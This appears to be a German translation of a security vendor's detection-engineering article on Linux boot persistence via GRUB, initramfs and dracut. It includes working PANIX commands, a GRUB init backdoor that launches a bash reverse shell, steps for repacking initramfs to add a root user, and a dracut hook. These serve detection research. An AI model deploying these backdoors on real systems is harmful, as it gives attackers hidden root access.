Einführung

Willkommen zum großen Finale der Serie „Linux Persistence Detection Engineering“! In diesem fünften und letzten Teil tauchen wir tiefer in die Welt der Linux-Persistenz ein. Aufbauend auf den grundlegenden Konzepten und Techniken, die in den vorangegangenen Veröffentlichungen untersucht wurden, erörtert dieser Beitrag einige obskurere, kreative und/oder komplexe Hintertüren und Persistenzmechanismen.

Wenn Sie die früheren Artikel verpasst haben, legen sie den Grundstein, indem sie wichtige Persistenzkonzepte untersuchen. Sie können sie hier nachholen:

• Linux Detection Engineering - Eine Einführung in Persistenzmechanismen
• Linux Detection Engineering - Eine Fortsetzung von Persistenzmechanismen
• Linux Detection Engineering – Eine Fortsetzung zu Persistenzmechanismen
• Linux Detection Engineering – Der Gipfel der Persistenzmechanismen rückt näher

In dieser Veröffentlichung werden wir Einblicke in diese Persistenzmechanismen geben, indem wir Folgendes erläutern:

• Wie die einzelnen Funktionen funktionieren (Theorie)
• Wie man die einzelnen einrichtet (Übung)
• Wie man sie erkennt (SIEM- und Endpunktregeln)
• Wie man sie jagt (ES|QL- und OSQuery-Referenzjagden)

Um den Prozess noch ansprechender zu gestalten, werden wir PANIX nutzen, ein speziell entwickeltes Linux-Persistenztool, das von Ruben Groenewoud von Elastic Security entwickelt wurde. PANIX ermöglicht es Ihnen, Linux-Persistenz-Setups zu rationalisieren und damit zu experimentieren, was es einfach macht, Erkennungsmöglichkeiten zu identifizieren und zu testen.

Am Ende dieser Serie werden Sie über ein fundiertes Wissen sowohl über gängige als auch seltene Linux-Persistenztechniken verfügen, und Sie werden verstehen, wie Sie Erkennungsmaßnahmen für gängige und fortgeschrittene Fähigkeiten von Angreifern effektiv entwickeln können. Sind Sie bereit, die letzten Teile des Linux-Persistenz-Puzzles aufzudecken? Legen wir los!

Hinweis zur Einrichtung

Um sicherzustellen, dass Sie darauf vorbereitet sind, die in diesem Artikel beschriebenen Persistenzmechanismen zu erkennen, ist es wichtig, unsere vordefinierten Erkennungsregeln zu aktivieren und zu aktualisieren. Wenn Sie mit einem benutzerdefinierten Regelsatz arbeiten und nicht alle unsere vorgefertigten Regeln verwenden, ist dies eine großartige Gelegenheit, diese zu testen und möglicherweise Lücken zu schließen. Jetzt sind wir bereit, loszulegen.

T1542 – Pre-OS-Boot: GRUB-Bootloader

GRUB (GRand Unified Bootloader) ist ein weit verbreiteter Bootloader in Linux-Systemen, der für das Laden des Kernels und die Initialisierung des Betriebssystems zuständig ist. GRUB bietet ein flexibles Framework, das verschiedene Konfigurationen unterstützt und es zu einem leistungsstarken Werkzeug für die Verwaltung des Boot-Vorgangs macht. Es fungiert als Vermittler zwischen der System-Firmware (BIOS/UEFI) und dem Betriebssystem. Beim Einschalten eines Linux-Systems tritt normalerweise die folgende Abfolge ein:

1. Systemfirmware

• BIOS oder UEFI initialisiert Hardwarekomponenten (z. B. CPU, RAM, Speichergeräte) und führt einen POST (Power-On Self-Test) durch.
• Anschließend wird der Bootloader auf dem vorgesehenen Boot-Gerät lokalisiert (in der Regel basierend auf den Boot-Prioritätseinstellungen).

2. GRUB Bootloader

• GRUB wird in den Arbeitsspeicher geladen.
• Es zeigt ein Menü an (sofern aktiviert), in dem Nutzer ein Betriebssystem, eine Kernelversion oder einen Wiederherstellungsmodus auswählen können.
• GRUB lädt das Kernel-Image (vmlinuz) in den Speicher sowie das initramfs/initrd-Image (initrd.img), das ein temporäres Root-Dateisystem ist, das für die Ersteinrichtung des Systems verwendet wird (z. B. das Laden von Kernel-Modulen für Dateisysteme und Hardware).
• GRUB übergibt Kernel-Parameter (z. B. den Speicherort des Root-Dateisystems, Boot-Optionen) und übergibt die Kontrolle an den Kernel.

3. Kernel-Ausführung

• Der Kernel wird entpackt und initialisiert. Er beginnt mit dem Erkennen und Initialisieren der Systemhardware.
• Der Kernel bindet das in den Kernelparametern angegebene Root-Dateisystem ein.
• Es startet das Init-System (traditionell init, jetzt oft systemd), welches der erste Prozess (PID 1) ist, der den Nutzerbereich initialisiert und verwaltet.
• Das init-System richtet Dienste ein, installiert Dateisysteme und startet Nutzersitzungen.

Das Konfigurationssystem von GRUB ist flexibel und modular und ermöglicht es Administratoren, das Verhalten des Bootloaders, die Kernelparameter und die Menüeinträge zu definieren. Alle großen Distributionen verwenden /etc/default/grub als die primäre Konfigurationsdatei für GRUB. Diese Datei enthält Optionen auf hoher Ebene, wie Standard-Kernelparameter, Boot-Timeout und Grafikeinstellungen. Zum Beispiel:

GRUB_TIMEOUT=5                       # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0                       # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters
GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters

Um die Flexibilität zu erhöhen, unterstützt GRUB einen modularen Ansatz zur Konfiguration durch Skriptverzeichnisse. Diese befinden sich typischerweise in /etc/default/grub.d/ (Ubuntu/Debian) und /etc/grub.d/ (Fedora/CentOS/RHEL). Die Skripte in diesen Verzeichnissen werden während des Aktualisierungsvorgangs in die endgültige Konfiguration integriert.

Vor dem Start muss der GRUB-Bootloader kompiliert werden. Die kompilierte GRUB-Konfigurationsdatei ist der endgültige Ausgang, der vom Bootloader zur Laufzeit verwendet wird. Es wird aus den Einstellungen in /etc/default/grub und den modularen Skripten in /etc/grub.d/ (oder in ähnlichen Verzeichnissen und Dateien für andere Distributionen) generiert. Diese Konfiguration wird dann in /boot/grub/grub.cfg für BIOS-Systeme und in /boot/efi/EFI/<distro>/grub.cfg für UEFI-Systeme gespeichert.

Auf Ubuntu- und Debian-basierten Systemen wird der Befehl update-grub verwendet, um die GRUB-Konfiguration zu erstellen. Für Fedora-, CentOS- und RHEL-Systeme lautet der entsprechende Befehl grub2-mkconfig. Bei der Erstellung der Konfiguration treten die folgenden Ereignisse auf:

1. Skriptausführung:

• Alle modularen Skripte in /etc/default/grub.d/ oder /etc/grub.d/ werden in numerischer Reihenfolge ausgeführt.

2. Aggregation von Einstellungen:

• Parameter von /etc/default/grub und modularen Skripten werden zusammengeführt.

3. Erstellung von Menüeinträgen:

• GRUB erkennt dynamisch installierte Kernel und Betriebssysteme und erstellt entsprechende Menüeinträge.

4. Endgültige Zusammenstellung:

• Die kombinierte Konfiguration wird in /boot/grub/grub.cfg (oder dem UEFI-äquivalenten Pfad) geschrieben und ist bereit, beim nächsten Systemstart verwendet zu werden.

Angreifer können die Flexibilität und frühe Ausführung von GRUB im Boot-Vorgang ausnutzen, um eine dauerhafte Präsenz zu etablieren. Durch das Modifizieren von GRUB-Konfigurationsdateien können bösartige Parameter oder Skripte eingeschleust werden, die mit Root-Rechten ausgeführt werden, bevor das Betriebssystem vollständig initialisiert ist. Angreifer können Folgendes tun:

1. Bösartige Kernel-Parameter injizieren:

• Das Hinzufügen von Parametern wie init=/payload.sh in /etc/default/grub oder direkt im GRUB-Menü beim Booten zwingt den Kernel, ein bösartiges Skript anstelle des standardmäßigen init-Systems auszuführen.

2. Menüeinträge ändern:

• Angreifer können Menüeinträge in /etc/grub.d/ ändern, um nicht autorisierte Befehle einzufügen oder auf bösartige Kernel zu verweisen.

3. Versteckte Boot-Einträge erstellen:

• Hinzufügen zusätzlicher Boot-Einträge mit schädlichen Konfigurationen, die nicht im GRUB-Menü angezeigt werden.

Da GRUB arbeitet, bevor die systemtypischen EDR- und anderen Lösungen aktiv sind, ist diese Technik besonders schwer zu erkennen. Darüber hinaus erschwert der Mangel an Wissen über diese Art von Angriffen die Erkennung, da bösartige Parameter oder Einträge legitimen Konfigurationen ähneln können, wodurch die manuelle Überprüfung leicht übersehen werden kann.

Die GRUB-Manipulation fällt unter T1542: Pre-OS Boot im MITRE ATT&CK-Framework. Diese Technik umfasst Angriffe auf Bootloader, um die Kontrolle zu erlangen, bevor das Betriebssystem initialisiert wird. Trotz ihrer Bedeutung gibt es derzeit keine spezielle Sub-Technik für GRUB-spezifische Angriffe.

Im nächsten Abschnitt werden wir untersuchen, wie Angreifer über GRUB Persistenz herstellen können, indem sie bösartige Parameter einschleusen und die Bootloader-Konfigurationen modifizieren.

Persistenz durch T1542 – Vor-BS-Start: GRUB-Bootloader

In diesem Abschnitt werden wir die technischen Details zur GRUB-Persistenz betrachten. Um dies zu erreichen, werden wir das setup_grub.sh-Modul von PANIX, einem speziell entwickelten Linux-Persistenztool, nutzen. Durch die Simulation dieser Technik werden wir in der Lage sein, potenzielle Erkennungsmöglichkeiten zu erforschen.

Das GRUB-Modul erkennt die Linux-Distribution, auf der es läuft, bestimmt die richtigen Dateien zur Änderung und die unterstützenden Tools, die für die Etablierung der Persistenz erforderlich sind. In diesem Modul ist keine Kompatibilität für PANIX mit Fedora-basierten Betriebssystemen integriert, da der Boot-Prozess nur eine eingeschränkte Umgebung bietet. PANIX stellt fest, ob die Payload bereits injiziert wurde, und falls nicht, erstellt es eine benutzerdefinierte Konfigurationsdatei (cfg), die den Parameter init=/grub-panix.sh enthält. GRUB-Konfigurationsdateien werden in aufsteigender Reihenfolge geladen, basierend auf dem numerischen Präfix der Module. Um sicherzustellen, dass das injizierte Modul zuletzt geladen wird, wird die Priorität auf 99 gesetzt.

local grub_custom_dir="/etc/default/grub.d"
local grub_custom_file="${grub_custom_dir}/99-panix.cfg"

echo "[*] Creating custom GRUB configuration file: $grub_custom_file"
cat <<EOF > "$grub_custom_file"
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh"
EOF

Nachdem diese Konfigurationsdatei eingerichtet wurde, wird das /grub-panix.sh-Skript erstellt, das eine Nutzlast enthält, die für eine bestimmte Zeit in den Ruhezustand versetzt wird (um sicherzustellen, dass das Netzwerk verfügbar ist), wonach es eine Reverse-Shell-Nutzlast ausführt und sich von seinem Hauptprozess löst, um sicherzustellen, dass keine Probleme auftreten.

payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &"

local init_script="/grub-panix.sh"
echo "[*] Creating backdoor init script at: $init_script"
cat <<EOF > "$init_script"
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
(
	echo "[*] Panix backdoor payload will execute after 10 seconds delay."
	${payload}
	echo "[+] Panix payload executed."
) &
exec /sbin/init
EOF

Nachdem diese Dateien vorhanden sind, bleibt nur noch, GRUB zu aktualisieren, damit es das eingebettete Backdoor-Modul enthält, indem Sie update-grub ausführen.

Sehen wir uns an, wie dieser Prozess aus der Perspektive der Erkennungstechnik aussieht. Führen Sie das PANIX-Modul mit dem folgenden Befehl aus:

> sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.

Nach der Ausführung des Moduls und dem Neustart des Computers können die folgenden Dokumente in Kibana beobachtet werden:

Nach der Ausführung von PANIX können wir sehen, dass ein Backup von /etc/default/grub, eine neue modulare Grub-Konfiguration, /etc/default/grub.d/99-panix.cfg, und die Backdoor-Payload (/grub-panix.sh) erstellt werden. Nachdem der Backdoor die erforderlichen Ausführungsberechtigungen erteilt worden sind, wird GRUB über die ausführbare Datei update-grub aktualisiert, und die Backdoor ist nun einsatzbereit. Beim Neustart wird /grub-panix.sh von init ausgeführt, was für die meisten modernen Betriebssysteme systemd ist, wobei die Reverse-Shell-Kette von /grub-panix.sh → nohup → setsid → bash erfolgreich ausgeführt wird. Der Grund, warum der Wert von event.action already-running ist, liegt darin, dass die Nutzlast während des Startvorgangs, vor der Initialisierung von Elastic Defend, ausgeführt wird. Je nach Boot-Phase der Ausführung wird Elastic Defend in der Lage sein, verpasste Ereignisse mit diesem event.action zu erfassen, sodass wir die Aktivität dennoch erkennen können.

Werfen wir einen Blick auf die Berichterstattung:

Erkennungs- und Endpoint-Regeln, die die Persistenz des GRUB-Bootloaders abdecken

Sie können die von PANIX vorgenommenen Änderungen rückgängig machen, indem Sie den folgenden revert-Befehl ausführen:

> ./panix.sh --revert grub

[*] Reverting GRUB persistence modifications...
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.

Suche nach T1542 – Pre-OS-Boot: GRUB-Bootloader

Abgesehen vom Verlassen auf Erkennungen ist es wichtig, die Bedrohungssuche in Ihren Workflow zu integrieren, insbesondere bei Persistenzmechanismen wie diesen, bei denen Ereignisse aufgrund zeitlicher oder umgebungsbedingter Einschränkungen möglicherweise übersehen werden können. Diese Veröffentlichung listet die verfügbaren Hunts für die GRUB-Bootloader-Persistenz auf; jedoch sind weitere Details zu den Grundlagen der Bedrohungssuche im Abschnitt „Hunting for T1053 - scheduled task/job“ von „Linux Detection Engineering - A primer on persistence mechanisms“ beschrieben. Zusätzlich können Beschreibungen und Verweise in unserem Repository für Erkennungsregeln gefunden werden, insbesondere im Linux-Hunting-Unterverzeichnis.

Wir können über ES|QL und OSQuery nach der Persistenz des GRUB-Bootloaders suchen, indem wir uns auf die Erstellung, Änderung und Ausführung von Dateien im Zusammenhang mit GRUB-Konfigurationen konzentrieren. Der Ansatz umfasst das Monitoring der folgenden Punkte:

1. Erstellung und/oder Änderung von GRUB-Konfigurationsdateien: Verfolgt Änderungen an kritischen Dateien wie der GRUB-Konfigurationsdatei, den GRUB-Modulen und der kompilierten GRUB-Binärdatei. Diese Dateien sind für Bootloader-Konfigurationen unerlässlich und werden häufig für GRUB-basierte Persistenz verwendet.
2. Ausführung von GRUB-bezogenen Befehlen: Überwacht Befehle wie grub-mkconfig, grub2-mkconfig und update-grub, die auf Versuche hinweisen können, GRUB-Einstellungen zu ändern oder Boot-Konfigurationen neu zu generieren.
3. Metadatenanalyse von GRUB-Dateien: Sie identifiziert Eigentümer, Zugriffszeiten und aktuelle Änderungen an GRUB-Konfigurationsdateien, um unbefugte Änderungen zu erkennen.
4. Überwachung der Kernel- und Boot-Integrität: Verfolgt kritische Kernel- und Boot-bezogene Daten mithilfe von ES|QL- und OSQuery-Tabellen wie secureboot, platform_info, kernel_info und kernel_keys, um Einblicke in die Systemstartintegrität und Kernelkonfigurationen zu bieten.

Durch die Kombination der Hunt-Regeln Persistenz via GRUB Bootloader und Allgemeine Kernel-Manipulation mit den oben aufgeführten maßgeschneiderten Erkennungsabfragen können die Analysten T1542 effektiv identifizieren und darauf reagieren.

T1542 - Booten vor dem Betriebssystem: Initramfs

Initramfs (Initial RAM Filesystem) ist ein wesentlicher Bestandteil des Linux-Startvorgangs und dient als temporäres Root-Dateisystem, das vom Bootloader in den Speicher geladen wird. Es ermöglicht dem Kernel, die Hardware zu initialisieren, notwendige Module zu laden und das System darauf vorzubereiten, das echte Root-Dateisystem einzuhängen.

Wie wir im vorherigen Abschnitt gelernt haben, lädt der Bootloader (z. B. GRUB) zwei Schlüsselkomponenten: den Kernel (vmlinuz) und das initramfs-Image (initrd.img). Das initrd.img ist ein komprimiertes Dateisystem, das typischerweise in /boot/ gespeichert wird und wesentliche Treiber sowie Binärdateien (z. B. busybox), Bibliotheken und Skripte für die frühe Systeminitialisierung enthält. In Formaten wie gzip, LZ4 oder xz verpackt, wird es in ein minimales Linux-Dateisystem mit Verzeichnissen wie /bin, /lib und /etc extrahiert. Sobald das echte Root-Dateisystem eingehängt ist, geht die Kontrolle an das primäre init-System (z. B. systemd) über, und das initramfs wird verworfen.

Initramfs spielt eine zentrale Rolle im Linux-Bootprozess, funktioniert jedoch nicht isoliert. Das Verzeichnis /boot/ enthält essenzielle Dateien, die es dem Bootloader und dem Kernel ermöglichen, nahtlos zu funktionieren. Diese Dateien umfassen die Kernel-Binärdatei, das initramfs-Image und die Konfigurationsdaten, die für die Systeminitialisierung notwendig sind. Hier ist eine Aufschlüsselung dieser wesentlichen Komponenten:

• vmlinuz-<version>: Eine komprimierte Linux-Kernel-Binärdatei.
• vmlinuz: Ein symbolischer Link zur komprimierten Linux-Kernel-Binärdatei.
• initrd.img-<version> oder initramfs.img-<version>: Das initramfs-Image, das das temporäre Dateisystem enthält.
• initrd.img oder initramfs.img: Ein symbolischer Link zum initramfs-Image.
• config-<version>: Konfigurationsoptionen für die spezifische Kernelversion.
• System.zuordnen-<version>: Zum Debuggen verwendete Kernel-Symbolzuordnung.
• grub/: Bootloader-Konfigurationsdateien.

Ähnlich wie GRUB wird initramfs früh im Bootvorgang ausgeführt und ist daher ein interessantes Ziel für Angreifer, die eine unauffällige Persistenz anstreben. Das Modifizieren des Inhalts – wie das Hinzufügen bösartiger Skripte oder das Ändern der Initialisierungslogik – ermöglicht die Ausführung von Schadcode, bevor das System vollständig initialisiert ist.

Obwohl es derzeit keinen speziellen Unterabschnitt für initramfs gibt, fällt die Änderung des Bootprozesses unter T1542, Pre-OS Boot im MITRE ATT&CK-Framework.

Im nächsten Abschnitt wird untersucht, wie Angreifer initramfs manipulieren könnten, welche Methoden sie zur Einbettung von Persistenzmechanismen verwenden könnten und wie diese Bedrohungen effektiv erkannt und gemindert werden können.

T1542 - Initramfs: Manuelle Änderungen

Das Modifizieren von Initramfs, um Persistenz herzustellen, ist eine Technik, die im Blog „Initramfs Persistence Technique“ behandelt wird, der auf Breachlabs.io veröffentlicht wurde. Im Kern besteht die Modifizierung von initramfs darin, das komprimierte Dateisystem zu entpacken, Änderungen vorzunehmen und das Image erneut zu packen, um die Funktionalität zu erhalten und gleichzeitig Persistenzmechanismen einzubetten. Dieser Prozess ist nicht von Natur aus bösartig; Administratoren könnten initramfs modifizieren, um benutzerdefinierte Treiber oder Konfigurationen hinzuzufügen. Angreifer können diese Flexibilität jedoch ausnutzen, um bösartige Aktionen auszuführen, bevor das primäre Betriebssystem vollständig geladen ist.

Eine Beispieltechnik besteht darin, dem init-Skript Code hinzuzufügen, um das Host-Dateisystem zu manipulieren – wie das Erstellen eines Backdoor-Nutzers, das Ändern von Systemdateien/-diensten oder das Einfügen von Skripten, die auch nach Neustarts bestehen bleiben.

Obwohl es Hilfswerkzeuge für die Arbeit mit initramfs gibt, sind manuelle Änderungen durch Low-Level-Dienstprogramme wie binwalk möglich. Binwalk ist besonders nützlich für die Analyse und Extraktion komprimierter Archive und eignet sich hervorragend zur Inspektion und Dekonstruktion des initramfs-Images.

Im folgenden Abschnitt werden wir eine detaillierte Erklärung des manuellen Modifikationsprozesses von initramfs geben.

Persistenz durch T1542 - Initramfs: Manuelle Modifikationen

In diesem Abschnitt werden wir initramfs „manuell“ manipulieren, um dem System während des Bootvorgangs eine Hintertür hinzuzufügen. Um dies zu tun, werden wir das Modul setup_initramfs.sh von PANIX verwenden. Lassen Sie uns die wichtigsten Aspekte des Moduls analysieren, um sicherzustellen, dass wir verstehen, was passiert.

Bei der Ausführung des Moduls wird die initrd.img-Datei gesichert, da die Implementierung einer solchen Technik den Bootvorgang stören kann, und es wird immer empfohlen, eine Sicherung zur Verfügung zu haben. Als nächstes wird ein temporäres Verzeichnis erstellt, und das initramfs-Image wird dorthin kopiert. Durch binwalk können wir die verschiedenen eingebetteten Archive innerhalb von initrd.img identifizieren und zuordnen (wie das CPU-Mikrocode-Archiv cpio und das gzipped cpio-Archiv, das das Mini-Linux-Dateisystem enthält). Die Zeichenfolge TRAILER!!! markiert das Ende eines cpio-Archivs und zeigt uns genau, wo ein Archiv endet, damit wir es vom nächsten trennen können. Mit anderen Worten zeigt uns binwalk, wo die Datei aufgeteilt werden soll, und die TRAILER!!!-Markierung bestätigt die Grenze des Mikrocodes cpio, bevor wir den Rest des initramfs extrahieren und neu erstellen. Ausführlichere Informationen finden Sie im Blog „ Initramfs Persistence Technique“ des ursprünglichen Autors.

# Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z "$ADDRESS" ]]; then
	echo "Error: Could not determine trailer address using binwalk."
	exit 1
fi
echo "[*] Trailer address: $ADDRESS"

In diesem Abschnitt werden Teile der Datei initrd.img zur Bearbeitung extrahiert und entpackt. Der Befehl dd extrahiert das erste cpio-Archiv (Mikrocode) bis zu dem mit TRAILER!!! markierten Byte-Offset und speichert es als initrd.img-begin für eine spätere Wiederzusammenstellung. Als nächstes entpackt unmkinitramfs das verbleibende Dateisystem aus initrd.img in ein Verzeichnis (initrd_extracted), um Änderungen zu ermöglichen.

dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exit 1; }

unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; }

Sobald das Dateisystem extrahiert ist, kann es geändert werden, um Persistenz zu erreichen. Dieser Prozess konzentriert sich auf die Manipulation der init-Datei, die für die Initialisierung des Linux-Systems während des Bootvorgangs verantwortlich ist. Der Code führt Folgendes aus:

1. Binden Sie das Root-Dateisystem als beschreibbar ein.
2. Versuchen Sie, in zwei Schritten einen neuen Nutzer mit sudo-Rechten zu erstellen:
   1. Prüfen Sie, ob der angegebene Nutzer bereits existiert. Wenn ja, brechen Sie ab.
   2. Falls der Nutzer nicht existiert, fügen Sie den Nutzer manuell zu /etc/shadow, /etc/passwd und /etc/group hinzu.

Diese Nutzlast kann in jede gewünschte Nutzlast geändert werden. Da die Umgebung, in der wir arbeiten, sehr begrenzt ist, müssen wir sicherstellen, dass wir nur die Werkzeuge verwenden, die verfügbar sind.

Nach dem Hinzufügen der korrekten Nutzlast kann initramfs neu gepackt werden. Das Skript verwendet:

find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end

Um das Dateisystem in initrd.img-end neu zu verpacken. Es stellt sicher, dass alle Dateien im Besitz von root:root (-R 0:0) sind und das newc-Format verwendet wird, das mit initramfs kompatibel ist.

Das zuvor extrahierte Mikrocode-Archiv (initrd.img-begin) wird mit dem neu erstellten Archiv (initrd.img-end) unter Verwendung von cat verkettet, um ein endgültiges initrd.img-new zu erzeugen:

cat initrd.img-begin initrd.img-end > initrd.img-new

Die neue initrd.img-new ersetzt die ursprüngliche initramfs-Datei und stellt sicher, dass das System beim nächsten Start die geänderte Version verwendet.

Jetzt, da wir den Prozess verstehen, können wir das Modul ausführen und die Ereignisse sich entfalten lassen. Hinweis: Nicht alle Linux-Distributionen geben das Ende eines cpio-Archivs mit der TRAILER!!!-Zeichenfolge an, und daher wird diese automatisierte Technik nicht für alle Systeme funktionieren. Lassen Sie uns fortfahren!

> sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '<hash>' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.

Werfen wir einen Blick auf die in Kibana generierten Ereignisse:

Wenn wir uns die Ausführungsprotokolle ansehen, können wir sehen, dass openssl verwendet wird, um einen passwd-Hash zu generieren. Anschließend wird das initramfs-Image in ein temporäres Verzeichnis kopiert, und binwalk wird verwendet, um die Adresse des Dateisystems zu ermitteln. Sobald der richtige Abschnitt gefunden ist, wird unmkinitramfs aufgerufen, um das Dateisystem zu extrahieren, danach wird die Nutzlast zur init-Datei hinzugefügt. Als Nächstes wird das Dateisystem durch gzip und cpio neu gepackt und zu einem voll funktionsfähigen Initramfs-Image mit dem Mikrocode, dem Dateisystem und anderen Abschnitten kombiniert. Dieses Image wird dann in das Verzeichnis /boot/ kopiert und überschreibt das aktuell aktive initramfs-Image. Nach dem Neustart ist der neue Nutzer panix mit Root-Rechten verfügbar.

Werfen wir einen Blick auf die Berichterstattung:

Detection und Endpoint-Regeln, die die manuelle Initramfs-Persistenz abdecken.

Sie können die von PANIX vorgenommenen Änderungen rückgängig machen, indem Sie den folgenden revert-Befehl ausführen:

> ./panix.sh --revert initramfs

[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

Suche nach T1542 - Initramfs: Manuelle Modifikationen

Wir können nach dieser Technik suchen, indem wir ES|QL und OSQuery verwenden und uns auf verdächtige Aktivitäten konzentrieren, die mit der Nutzung von Tools wie binwalk verbunden sind. Diese Technik umfasst typischerweise das Extrahieren, Analysieren und Modifizieren von initramfs-Dateien, um schädliche Komponenten oder Skripte in den Startvorgang einzuschleusen. Der Ansatz umfasst das Monitoring der folgenden Punkte:

1. Ausführung von Binwalk mit verdächtigen Argumenten: Verfolgt Prozesse, bei denen binwalk ausgeführt wird, um Dateien zu extrahieren oder zu analysieren. Dies kann Versuche aufdecken, den Inhalt von initramfs zu inspizieren oder zu manipulieren.
2. Erstellungen und/oder Änderungen an Initramfs-Dateien: Verfolgt Änderungen an der Initramfs-Datei (/boot/initrd.img).
3. Allgemeine Indikatoren für Kernel-Manipulationen: Nutzt Abfragen wie das Monitoring von secureboot, kernel_info und Dateiänderungen innerhalb von /boot/, um umfassendere Anzeichen einer Kernel- und Bootloader-Manipulation zu erkennen, die sich mit Initramfs-Missbrauch überschneiden können.

Durch die Kombination der Hunt-Regeln Persistenz via Initramfs und Allgemeine Kernel-Manipulation mit den oben aufgeführten maßgeschneiderten Erkennungsabfragen können die Analysten T1542 effektiv identifizieren und darauf reagieren.

T1542 - Initramfs: Modifizieren mit Dracut

Dracut ist ein vielseitiges Tool zur Verwaltung von initramfs in den meisten Linux-Systemen. Im Gegensatz zu manuellen Methoden, die eine Dekonstruktion und Rekonstruktion von initramfs erfordern, bietet Dracut einen strukturierten und modularen Ansatz. Es vereinfacht das Erstellen, Ändern und Regenerieren von initramfs-Images und bietet gleichzeitig ein robustes Framework, um benutzerdefinierte Funktionalitäten hinzuzufügen. Es erstellt initramfs-Images, indem es eine minimale Linux-Umgebung zusammenstellt, die auf die Anforderungen des Systems zugeschnitten ist. Sein modularer Aufbau stellt sicher, dass nur die notwendigen Treiber, Bibliotheken und Skripte enthalten sind.

Dracut arbeitet mit Modulen, die in sich geschlossene Verzeichnisse sind und Skripte, Konfigurationsdateien und Abhängigkeiten enthalten. Diese Module definieren das Verhalten und den Inhalt des Initramfs. Zum Beispiel könnten sie Treiber für spezifische Hardware, Werkzeuge zum Umgang mit verschlüsselten Dateisystemen oder benutzerdefinierte Logik für Pre-Boot-Operationen umfassen.

Dracut-Module werden typischerweise in gespeichert:

• /usr/lib/dracut/modules.d/
• /lib/dracut/modules.d/

Jedes Modul befindet sich in einem Verzeichnis, das im Format XXname benannt ist, wobei XX eine zweistellige Zahl ist, die die Ladereihenfolge definiert, und name der Modulname ist (z. B. 01base, 95udev).

Das primäre Skript, das definiert, wie das Modul in das initramfs integriert wird, heißt module-setup.sh. Es wird angegeben, welche Dateien einzubinden sind und welche Abhängigkeiten erforderlich sind. Hier ist ein einfaches Beispiel für ein module-setups.sh-Skript:

#!/bin/bash

check() {
  return 0 
}

depends() {
  echo "base"
}

install() {
  inst_hook cmdline 30 "$moddir/my_custom_script.sh"
  inst_simple /path/to/needed/binary
}

• check(): Bestimmt, ob das Modul einbezogen werden soll. Durch die Rückgabe 0 wird sichergestellt, dass das Modul immer enthalten ist.
• depends(): Gibt andere Module an, von denen dieses abhängt (z. B. base, udev).
• install(): Definiert, welche Dateien oder Skripte einbezogen werden sollen. Funktionen wie inst_hook und inst_simple vereinfachen den Prozess.

Mit Dracut können Angreifer oder Administratoren initramfs leicht modifizieren, um benutzerdefinierte Skripte oder Funktionen zu integrieren. Ein böswilliger Akteur könnte beispielsweise:

• Fügen Sie ein Skript hinzu, das Befehle beim Start ausführt.
• Passen Sie vorhandene Module an, um das Systemverhalten zu modifizieren, bevor das Root-Dateisystem eingehängt wird.

Im nächsten Abschnitt werden Sie durch die Erstellung eines benutzerdefinierten Dracut-Moduls zur Änderung von initramfs geführt.

Persistenz durch T1542 - Initramfs: Modifikation mit Dracut

Es ist immer eine großartige Idee, einen Schritt nach dem anderen zu machen. Im vorherigen Abschnitt haben wir gelernt, wie man initramfs manuell manipuliert, was schwierig einzurichten sein kann. Jetzt, da wir die Grundlagen verstanden haben, können wir viel einfacher fortfahren, indem wir ein Hilfswerkzeug namens Dracut verwenden, das standardmäßig auf vielen Linux-Systemen verfügbar ist. Lassen Sie uns das Modul setup_initramfs.sh erneut betrachten, diesmal jedoch mit einem Schwerpunkt auf dem Dracut-Abschnitt.

Dieses PANIX-Modul erstellt ein neues Dracut-Modulverzeichnis unter /usr/lib/dracut/modules.d/99panix und erzeugt eine module-setup.sh-Datei mit folgendem Inhalt:

#!/bin/bash
check()  { return 0; }
depends() { return 0; }
install() {
	inst_hook pre-pivot 99 "$moddir/backdoor-user.sh"
}

